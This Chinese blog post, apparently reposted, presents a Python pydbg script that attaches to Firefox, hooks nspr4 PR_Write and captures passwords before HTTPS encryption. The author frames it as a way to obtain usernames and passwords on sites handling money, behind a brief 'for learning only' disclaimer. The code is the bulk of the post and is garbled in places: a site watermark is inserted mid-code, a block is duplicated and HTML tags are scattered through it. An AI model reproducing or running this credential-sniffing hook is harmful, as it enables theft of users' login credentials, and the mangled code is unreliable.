相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站—-涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:
下面是源代码:
#!/ur/bin/env python <BR>from pydbg import *<BR>from pydbg.defines import *<br><br>import utils <BR>import sys <br><br>dbg = pydbg() <BR>found_firefox = False<br><br>pattern = "password"<br><br> <BR>def ssl_sniff( dbg, args ): <BR> buffer = "" <BR> offset = 0<br><br> while 1: <BR> byte = dbg.read_process_memory( args[1] + offset, 1 ) <BR> if byte != "x00": <BR> buffer += byte <em>本文来源[email protected]搞@^&代*@码2网</em> <BR> offset += 1<BR> continue<BR> else: <BR> break<BR> if pattern in buffer: <BR> print "Pre-Encrypted: %s" % buffer<BR> return DBG_CONTINUE <BR># 寻找firefox.exe的进程 <BR>for (pid, name) in dbg.enumerate_processes(): <BR> if name.lower() == "firefox.exe": <BR> found_firefox = True<BR> hooks = utils.hook_container() <BR> dbg.attach(pid) <BR> print "[*] Attaching to firefox.exe with PID: %d" % pid <BR># 得到firefox的hook的 address <BR> hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write") <BR> if hook_address: <BR># 添加hook的内容,包括他的pid,地址,嗅探类型 <br><br> hooks.add( dbg, hook_address, 2, ssl_sniff, None ) <BR> print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address <BR> break<BR> else: <BR> print "[*] Error: Couldn't resolve hook address."<BR> sys.exit(-1) <BR> if found_firefox: <BR> print "[*] Hooks set, continuing process."<BR> dbg.run() <BR> else: <BR> print "[*] Error: Couldn't find the firefox.exe process."<BR> sys.exit(-1) <br><br>if found_firefox: <BR> print "[*] Hooks set, continuing process."<BR> dbg.run() <BR>else: <BR> print "[*] Error: Couldn't find the firefox.exe process."<BR> sys.exit(-1)<BR>
转自:http://world77.blog.gaodaima.com/414605/518679